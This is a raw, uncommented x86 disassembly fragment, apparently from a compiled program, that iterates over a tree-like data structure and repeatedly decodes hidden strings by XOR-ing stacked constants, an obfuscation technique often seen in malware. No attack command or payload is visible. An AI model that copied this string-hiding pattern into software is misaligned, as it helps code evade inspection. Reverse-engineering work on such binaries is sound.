mov eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x71c]
mov dword [ebp - 0x10e0], eax
mov dword [ebp - 0x10dc], ecx
mov dword [ebp - 0x728], 0x7dbb92e6
mov dword [ebp - 0x724], 0x14d846fe
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x724]
mov dword [ebp - 0x10d8], eax
mov dword [ebp - 0x10d4], ecx
mov dword [ebp - 0x730], 0xdf9be395
mov dword [ebp - 0x72c], 0xf940fadb
mov eax, dword [ebp - 0x730]
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x18f0], eax
mov dword [ebp - 0x738], 0x7dbb92e6
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x734], 0x14d846fe
mov eax, dword [ebp - 0x738]
mov ecx, dword [ebp - 0x734]
movaps xmm1, xmmword [ebp - 0x10e0]
mov dword [ebp - 0x18e8], eax
lea eax, [ebp - 0x1c18]
mov dword [ebp - 0x18e4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x18f0]
mov dword [ebp - 0x1c80], esp
push eax
movaps xmmword [ebp - 0x10e0], xmm1
call fcn.0041ac50
mov byte [ebp - 4], 0x3e
sub esp, 8
mov esi, esp
mov byte [ebp - 0x1d], 0
mov dword [ebp - 0x1c7c], esp
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul edi, eax, 0xaaaaaaab
test edi, edi
je 0x48891c
cmp edi, 0xaaaaaaa
ja 0x48ec0e
lea edx, [ebp - 0x274]
mov dword [ebp - 0x274], edi
call fcn.00426ff0
mov dword [esi], eax
lea ecx, [edi + edi*2]
mov dword [esi + 4], eax
mov dword [ebp - 0x278], esi
lea eax, [eax + ecx*8]
mov dword [esi + 8], eax
mov byte [ebp - 4], 0x3f
mov edi, dword [esi]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x137c], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1380], edi
mov dword [ebp - 0x1378], esi
mov byte [ebp - 4], 0x40
cmp eax, ecx
je 0x488901
push eax
mov ecx, edi
call fcn.004163b0
mov eax, dword [ebp - 0x24]
add edi, 0x18
add eax, 0x18
mov dword [ebp - 0x137c], edi
mov dword [ebp - 0x24], eax
cmp eax, dword [ebp - 0x28]
jne 0x4888e2
mov dword [ebp - 0x1380], edi
mov byte [ebp - 4], 0x3f
mov dword [esi + 4], edi
mov dword [ebp - 0x278], 0
mov byte [ebp - 4], 0x3e
mov byte [ebp - 4], 0x41
mov byte [ebp - 4], 0x3a
mov cl, byte [ebp - 0x1d]
call fcn.004d6ed0
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov byte [ebp - 0x1c], cl
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x1c18]
call fcn.00402df0
mov edi, dword [ebp - 0x100]
movzx eax, byte [edi]
sub eax, 1
je 0x48897b
sub eax, 1
je 0x48896f
inc dword [ebp - 0xf4]
jmp 0x488470
add dword [ebp - 0xf8], 0x10
jmp 0x488470
mov eax, dword [ebp - 0xfc]
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x164], eax
call fcn.00417990
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xfc], eax
jmp 0x488470
lea ecx, [ebp - 0x168]
call fcn.00417990
mov ecx, dword [ebp - 0x168]
cmp byte [ecx + 0xd], 0
je 0x488411
mov byte [ebp - 4], 0x32
mov eax, dword [ebp - 0x1c4]
push dword [eax + 4]
lea eax, [ebp - 0x1c4]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1c4]
call fcn.004338f3
mov esi, dword [ebp - 0x110]
add esp, 8
movzx eax, byte [esi]
sub eax, 1
je 0x488a13
sub eax, 1
je 0x488a07
inc dword [ebp - 0x104]
jmp 0x488350
add dword [ebp - 0x108], 0x10
jmp 0x488350
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x170], eax
call fcn.00417990
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x10c], eax
jmp 0x488350
lea ecx, [ebp - 0x174]
call fcn.00417990
mov ecx, dword [ebp - 0x174]
cmp byte [ecx + 0xd], 0
je 0x488300
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x1cc]
push dword [eax + 4]
lea eax, [ebp - 0x1cc]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1cc]
call fcn.004338f3
add esp, 8
mov eax, dword [ebp - 0x1c]
cmp byte [ebp - 0x1e], 0
je 0x489a18
test al, al
jne 0x489a18
movzx eax, byte [ebx + 0x50]
sub eax, 0
je 0x4891bc
sub eax, 1
je 0x488aba
sub eax, 1
jne 0x488ac8
mov eax, dword [ebx + 0x58]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x488ac0
mov eax, dword [ebx + 0x58]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4891bc
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebx + 0x50]
call fcn.0041b260
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0xcc]
mov ecx, dword [ebp - 0x1d4]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x184], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x489186
nop
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x489186
lea esi, [ecx + 0x28]
push esi
lea ecx, [ebp - 0xc8]
call fcn.00417ab0
mov ecx, dword [ebp - 0xc8]
movzx eax, byte [ecx]
sub eax, 0
je 0x488b5a
sub eax, 1
je 0x488b4b
sub eax, 1
je 0x488b3e
mov dword [ebp - 0xbc], 0
jmp 0x488b64
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
jmp 0x488b64
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
jmp 0x488b64
mov dword [ebp - 0xbc], 1
push esi
lea ecx, [ebp - 0x250]
call fcn.00417ab0
mov eax, dword [ebp - 0x250]
movzx eax, byte [eax]
sub eax, 1
je 0x488ba3
sub eax, 1
je 0x488b8f
mov dword [ebp - 0x244], 1
jmp 0x488bb4
mov eax, dword [ebp - 0x250]
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x248], eax
jmp 0x488bb4
mov eax, dword [ebp - 0x250]
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x24c], eax
mov edi, dword [ebp - 0xc8]
nop word [eax + eax]
cmp edi, dword [ebp - 0x250]
jne 0x48eb77
movzx ecx, byte [edi]
mov eax, ecx
sub eax, 1
je 0x488bf7
sub eax, 1
je 0x488be9
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x244]
jmp 0x488c03
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x248]
jmp 0x488c03
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24c]
setne al
test al, al
je 0x48916b
sub ecx, 0
je 0x48eb3e
sub ecx, 1
je 0x488c38
sub ecx, 1
je 0x488c30
cmp dword [ebp - 0xbc], 0
jne 0x48e796
jmp 0x488c41
mov edi, dword [ebp - 0xc0]
jmp 0x488c41
mov edi, dword [ebp - 0xc4]
add edi, 0x28
test dl, dl
jne 0x48916b
xorps xmm0, xmm0
mov dword [ebp - 0x210], 0
movups xmmword [ebp - 0x220], xmm0
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], dl
mov byte [ebp - 4], 0x48
lea esi, [edi + 8]
mov dword [ebp - 0x740], 0xdff791e0
mov dword [ebp - 0x73c], 0xf940fadb
mov eax, dword [ebp - 0x740]
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x10f0], eax
mov dword [ebp - 0x10ec], ecx
mov dword [ebp - 0x748], 0x7dbb92e6
mov dword [ebp - 0x744], 0x14d846fe
mov eax, dword [ebp - 0x748]
mov ecx, dword [ebp - 0x744]
mov dword [ebp - 0x10e8], eax
mov dword [ebp - 0x10e4], ecx
mov dword [ebp - 0x750], 0xdf9be395
mov dword [ebp - 0x74c], 0xf940fadb
mov eax, dword [ebp - 0x750]
mov ecx, dword [ebp - 0x74c]
mov dword [ebp - 0x758], 0x7dbb92e6
mov dword [ebp - 0x1a70], eax
mov dword [ebp - 0x754], 0x14d846fe
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x1a6c], ecx
mov ecx, dword [ebp - 0x754]
movaps xmm1, xmmword [ebp - 0x10f0]
mov dword [ebp - 0x1a68], eax
mov dword [ebp - 0x1a64], ecx
xorps xmm1, xmmword [ebp - 0x1a70]
movaps xmmword [ebp - 0x10f0], xmm1
mov dword [ebp - 0x24], esi
cmp byte [edi], dl
jne 0x488d77
push 1
lea ecx, [ebp - 0x1588]
mov byte [edi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1588]
mov ecx, dword [ebp - 0x1584]
mov dword [esi], eax
mov dword [esi + 4], ecx
jmp 0x488d7a
mov dword [ebp - 0x24], esi
cmp byte [edi], 1
jne 0x48eaea
mov esi, dword [esi]
lea eax, [ebp - 0x10f0]
push eax
lea ecx, [ebp - 0x1f80]
call fcn.00402cf0
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0x1f80]
push eax
lea eax, [ebp - 0x1f20]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x1f80]
call fcn.00402df0
cmp byte [esi + 0x28], 0
je 0x488f2b
mov dword [ebp - 0x760], 0xdff791e0
mov dword [ebp - 0x75c], 0xf940fadb
mov eax, dword [ebp - 0x760]
mov ecx, dword [ebp - 0x75c]
mov dword [ebp - 0x1100], eax
mov dword [ebp - 0x10fc], ecx
mov dword [ebp - 0x768], 0x7dbb92e6
mov dword [ebp - 0x764], 0x14d846fe
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x764]
mov dword [ebp - 0x10f8], eax
mov dword [ebp - 0x10f4], ecx
mov dword [ebp - 0x770], 0xdf9be395
mov dword [ebp - 0x76c], 0xf940fadb
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x76c]
mov dword [ebp - 0x778], 0x7dbb92e6
mov dword [ebp - 0x1a80], eax
mov dword [ebp - 0x774], 0x14d846fe
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x1a7c], ecx
mov ecx, dword [ebp - 0x774]
cmp byte [edi], 0
movaps xmm1, xmmword [ebp - 0x1100]
mov dword [ebp - 0x1a78], eax
mov dword [ebp - 0x1a74], ecx
xorps xmm1, xmmword [ebp - 0x1a80]
movaps xmmword [ebp - 0x1100], xmm1
jne 0x488ebb
push 1
lea ecx, [ebp - 0x1590]
mov byte [edi], 1
call fcn.00417ef0
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1590]
mov ecx, dword [ebp - 0x158c]
mov dword [esi], eax
mov dword [esi + 4], ecx
jmp 0x488ebe
mov esi, dword [ebp - 0x24]
cmp byte [edi], 1
jne 0x48ea96
mov esi, dword [esi]
lea eax, [ebp - 0x1100]
push eax
lea ecx, [ebp - 0x1f98]
call fcn.00402cf0
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x1f98]
push eax
lea eax, [ebp - 0x1ee0]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x1f98]
call fcn.00402df0
lea eax, [ebp - 0x1598]
push eax
lea ecx, [esi + 0x28]
call fcn.004219a0
push dword [ebp - 0x1594]
lea ecx, [ebp - 0x220]
push dword [ebp - 0x1598]
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x220]
mov esi, esp
mov dword [ebp - 0x1d70], esp
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0x20c], 0xf
mov edi, dword [ebp - 0x210]
cmova eax, dword [ebp - 0x220]
mov dword [ebp - 0x28], eax
cmp edi, 0x7fffffff
ja 0x48ed82
cmp edi, 0xf
ja 0x488f8a
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x488fd9
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x488f9d
mov eax, closesocket
jmp 0x488fa8
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x178], eax
lea eax, [ebp - 0x178]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x178]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x28]
push eax
call fcn.00435270
add esp, 0x14
mov byte [ebp - 4], 0x4f
sub esp, 0xc
mov esi, esp
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1d68], esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul edi, eax, 0xaaaaaaab
test edi, edi
je 0x4890ad
cmp edi, 0xaaaaaaa
ja 0x48ec0e
lea edx, [ebp - 0x27c]
mov dword [ebp - 0x27c], edi
call fcn.00426ff0
mov dword [esi], eax
lea ecx, [edi + edi*2]
mov dword [esi + 4], eax
mov dword [ebp - 0x280], esi
lea eax, [eax + ecx*8]
mov dword [esi + 8], eax
mov byte [ebp - 4], 0x50
mov eax, esp
mov esi, dword [esi]
mov ecx, dword [ebp - 0x68]
mov edi, dword [ebp - 0x6c]
mov dword [ebp - 0x1388], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x138c], esi
mov dword [ebp - 0x1384], eax
mov byte [ebp - 4], 0x51
cmp edi, ecx
je 0x489092
push edi
mov ecx, esi
call fcn.004163b0
add esi, 0x18
add edi, 0x18
mov dword [ebp - 0x1388], esi
cmp edi, dword [ebp - 0x28]
jne 0x489076
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x138c], esi
mov byte [ebp - 4], 0x50
mov dword [eax + 4], esi
mov dword [ebp - 0x280], 0
mov byte [ebp - 4], 0x4f
mov byte [ebp - 4], 0x52
mov byte [ebp - 4], 0x48
mov cl, byte [ebp - 0x1e]
call fcn.004d6ed0
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx edx, cl
mov eax, 1
cmovne edx, eax
mov dword [ebp - 0x1c], edx
mov byte [ebp - 4], 0x44
mov eax, dword [ebp - 0x20c]
cmp eax, 0xf
jbe 0x4890fb
push eax
push dword [ebp - 0x220]
lea eax, [ebp - 0x220]
push eax
call fcn.00402fe0
mov edx, dword [ebp - 0x1c]
add esp, 0xc
mov edi, dword [ebp - 0xc8]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
movzx eax, byte [edi]
sub eax, 1
je 0x489140
sub eax, 1
je 0x489134
inc dword [ebp - 0xbc]
jmp 0x488bc0
add dword [ebp - 0xc0], 0x10
jmp 0x488bc0
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x180], eax
call fcn.00417990
mov eax, dword [ebp - 0x180]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc4], eax
jmp 0x488bc0
lea ecx, [ebp - 0x184]
call fcn.00417990
mov ecx, dword [ebp - 0x184]
cmp byte [ecx + 0xd], 0
je 0x488b00
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x1d4]
push dword [eax + 4]
lea eax, [ebp - 0x1d4]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1d4]
call fcn.004338f3
mov eax, dword [ebp - 0x1c]
add esp, 8
test al, al
jne 0x489a18
movzx eax, byte [ebx + 0x60]
sub eax, 0
je 0x489a18
sub eax, 1
je 0x4891e0
sub eax, 1
jne 0x4891ee
mov eax, dword [ebx + 0x68]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x4891e6
mov eax, dword [ebx + 0x68]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x489a18
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x60]
call fcn.0041e450
mov edi, dword [ebp - 0x18]
or edi, 0x20000
mov dword [ebp - 0x18], edi
cmp byte [ebx + 0x60], 1
jne 0x48ecd9
lea ecx, [ebp - 0x74]
call fcn.0041e450
mov byte [ebp - 4], 0x57
xor eax, eax
mov ecx, dword [ebp - 0x74]
lea edx, [ebp - 0x74]
cmp byte [ebx + 0x60], 1
mov byte [ebp - 0x284], 0
cmove eax, dword [ebx + 0x68]
push dword [ecx]
lea ecx, [ebp - 0x1ee8]
push edx
mov eax, dword [eax]
push dword [ebp - 0x284]
push eax
push dword [eax]
call fcn.0042e7e0
mov esi, dword [ebp - 0x60]
lea eax, [ebp - 0x60]
add esp, 0x14
mov ecx, eax
push dword [esi + 4]
push eax
call fcn.0041d1d0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x70], 0
mov byte [ebp - 4], 0x54
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x74]
call fcn.004338f3
mov eax, dword [ebp - 0x60]
add esp, 8
mov byte [ebp - 0xcd], 0
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
cmp byte [eax + 0xd], 0
jne 0x4899eb
nop word [eax + eax]
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x4899e8
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0xb8]
call fcn.00417ab0
mov ecx, dword [ebp - 0xb8]
movzx eax, byte [ecx]
sub eax, 0
je 0x48932a
sub eax, 1
je 0x48931b
sub eax, 1
je 0x48930e
mov dword [ebp - 0xac], 0
jmp 0x489334
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
jmp 0x489334
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
jmp 0x489334
mov dword [ebp - 0xac], 1
push esi
lea ecx, [ebp - 0x240]
call fcn.00417ab0
mov eax, dword [ebp - 0x240]
movzx eax, byte [eax]
sub eax, 1
je 0x489373
sub eax, 1
je 0x48935f
mov dword [ebp - 0x234], 1
jmp 0x489384
mov eax, dword [ebp - 0x240]
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x238], eax
jmp 0x489384
mov eax, dword [ebp - 0x240]
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x23c], eax
mov esi, dword [ebp - 0xb8]
nop word [eax + eax]
cmp esi, dword [ebp - 0x240]
jne 0x48eca0
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x4893c7
sub eax, 1
je 0x4893b9
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x234]
jmp 0x4893d3
mov eax, dword [ebp - 0xb0]
cmp eax, dword [ebp - 0x238]
jmp 0x4893d3
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x23c]
setne al
test al, al
je 0x4899cd
sub ecx, 0
je 0x48ec67
sub ecx, 1
je 0x489408
sub ecx, 1
je 0x489400
cmp dword [ebp - 0xac], 0
jne 0x48e7cf
jmp 0x489411
mov esi, dword [ebp - 0xb0]
jmp 0x489411
mov esi, dword [ebp - 0xb4]
add esi, 0x28
test dl, dl
jne 0x4899cd
xorps xmm0, xmm0
mov dword [ebp - 0x1f8], 0
movups xmmword [ebp - 0x208], xmm0
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], dl
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x780], 0xdff791e0
mov dword [ebp - 0x77c], 0xf940fadb
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x77c]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x788], 0x7dbb92e6
mov dword [ebp - 0x784], 0x14d846fe
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x790], 0xdf9be395
mov dword [ebp - 0x78c], 0xf940fadb
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x78c]
mov dword [ebp - 0x798], 0x7dbb92e6
mov dword [ebp - 0x1a90], eax
mov dword [ebp - 0x794], 0x14d846fe
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x1a8c], ecx
mov ecx, dword [ebp - 0x794]
movaps xmm1, xmmword [ebp - 0x320]
mov dword [ebp - 0x1a88], eax
mov dword [ebp - 0x1a84], ecx
xorps xmm1, xmmword [ebp - 0x1a90]
movaps xmmword [ebp - 0x320], xmm1
cmp byte [esi], dl
jne 0x489540
push 1
lea ecx, [ebp - 0x15a8]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x15a8]
mov ecx, dword [ebp - 0x15a4]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48ec13
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x320]
xorps xmm0, xmm0
mov dword [ebp - 0x28], eax
movups xmmword [ebp - 0xee8], xmm0
mov dword [ebp - 0xed8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xed4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x489576
sub ecx, edx
lea eax, [ebp - 0x320]
push ecx
push eax
lea ecx, [ebp - 0xee8]
call fcn.00403040
mov byte [ebp - 4], 0x5d
lea eax, [ebp - 0xee8]
mov ecx, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x1ed8]
push eax
call fcn.00426db0
mov eax, dword [eax]
add eax, 0x28
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0xed4]
cmp ecx, 0xf
jbe 0x4895dc
push ecx
push dword [ebp - 0xee8]
lea eax, [ebp - 0xee8]
push eax
call fcn.00402fe0
mov eax, dword [ebp - 0x28]
add esp, 0xc
mov dword [ebp - 0xed8], 0
mov dword [ebp - 0xed4], 0xf
mov byte [ebp - 0xee8], 0
cmp byte [eax], 0
je 0x48975a
mov dword [ebp - 0x7a0], 0xdff791e0
mov dword [ebp - 0x79c], 0xf940fadb
mov eax, dword [ebp - 0x7a0]
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x1180], eax
mov dword [ebp - 0x117c], ecx
mov dword [ebp - 0x7a8], 0x7dbb92e6
mov dword [ebp - 0x7a4], 0x14d846fe
mov eax, dword [ebp - 0x7a8]
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x1178], eax
mov dword [ebp - 0x1174], ecx
mov dword [ebp - 0x7b0], 0xdf9be395
mov dword [ebp - 0x7ac], 0xf940fadb
mov eax, dword [ebp - 0x7b0]
mov ecx, dword [ebp - 0x7ac]
mov dword [ebp - 0x7b8], 0x7dbb92e6
mov dword [ebp - 0x1aa0], eax
mov dword [ebp - 0x7b4], 0x14d846fe
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x1a9c], ecx
mov ecx, dword [ebp - 0x7b4]
cmp byte [esi], 0
movaps xmm1, xmmword [ebp - 0x1180]
mov dword [ebp - 0x1a98], eax
mov dword [ebp - 0x1a94], ecx
xorps xmm1, xmmword [ebp - 0x1aa0]
movaps xmmword [ebp - 0x1180], xmm1
jne 0x4896ec
push 1
lea ecx, [ebp - 0x15a0]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x15a0]
mov ecx, dword [ebp - 0x159c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48ebb0
mov esi, dword [esi + 8]
lea eax, [ebp - 0x1180]
push eax
lea ecx, [ebp - 0x1e70]
call fcn.00402cf0
mov byte [ebp - 4], 0x60
lea eax, [ebp - 0x1e70]
push eax
lea eax, [ebp - 0x1ef0]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x1e70]
call fcn.00402df0
lea eax, [ebp - 0x1558]
push eax
lea ecx, [esi + 0x28]
call fcn.004219a0
push dword [ebp - 0x1554]
lea ecx, [ebp - 0x208]
push dword [ebp - 0x1558]
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x208]
mov esi, esp
mov dword [ebp - 0x1d64], esp
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0x1f4], 0xf
mov edi, dword [ebp - 0x1f8]
cmova eax, dword [ebp - 0x208]
mov dword [ebp - 0x28], eax
cmp edi, 0x7fffffff
ja 0x48ed82
cmp edi, 0xf
ja 0x4897b9
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x489808
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x4897cc
mov eax, closesocket
jmp 0x4897d7
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x1a8]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x1a8]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x28]
push eax
call fcn.00435270
add esp, 0x14
mov byte [ebp - 4], 0x63
sub esp, 0xc
mov esi, esp
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1d60], esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x48990f
cmp eax, 0xaaaaaaa
ja 0x48ec0e
lea edi, [eax + eax*2]
shl edi, 3
cmp edi, 0x1000
jb 0x48988b
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x48ec09
push eax
call fcn.00433672
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x48ec04
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x48989c
test edi, edi
je 0x48989a
push edi
call fcn.00433672
add esp, 4
jmp 0x48989c
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
add eax, edi
mov dword [esi + 8], eax
mov dword [ebp - 0x288], esi
mov byte [ebp - 4], 0x64
mov esi, dword [esi]
mov ecx, dword [ebp - 0x68]
mov edi, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1394], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1398], esi
mov dword [ebp - 0x1390], eax
mov byte [ebp - 4], 0x65
cmp edi, ecx
je 0x4898f4
push edi
mov ecx, esi
call fcn.004163b0
add esi, 0x18
add edi, 0x18
mov dword [ebp - 0x1394], esi
cmp edi, dword [ebp - 0x28]
jne 0x4898d8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1398], esi
mov byte [ebp - 4], 0x64
mov dword [eax + 4], esi
mov dword [ebp - 0x288], 0
mov byte [ebp - 4], 0x63
mov byte [ebp - 4], 0x66
mov byte [ebp - 4], 0x5c
mov cl, byte [ebp - 0x1e]
call fcn.004d6ed0
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx edx, cl
mov eax, 1
cmovne edx, eax
mov dword [ebp - 0x1c], edx
mov byte [ebp - 4], 0x54
mov eax, dword [ebp - 0x1f4]
cmp eax, 0xf
jbe 0x48995d
push eax
push dword [ebp - 0x208]
lea eax, [ebp - 0x208]
push eax
call fcn.00402fe0
mov edx, dword [ebp - 0x1c]
add esp, 0xc
mov esi, dword [ebp - 0xb8]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
movzx eax, byte [esi]
sub eax, 1
je 0x4899a2
sub eax, 1
je 0x489996
inc dword [ebp - 0xac]
jmp 0x489390
add dword [ebp - 0xb0], 0x10
jmp 0x489390
mov eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x188], eax
call fcn.00417990
mov eax, dword [ebp - 0x188]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], eax
jmp 0x489390
lea ecx, [ebp - 0x18c]
call fcn.00417990
mov eax, dword [ebp - 0x18c]
cmp byte [eax + 0xd], 0
je 0x4892d0
mov edi, dword [ebp - 0x18]
and edi, 0xfffdffff
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x60]
push dword [eax + 4]
lea eax, [ebp - 0x60]
push eax
mov ecx, eax
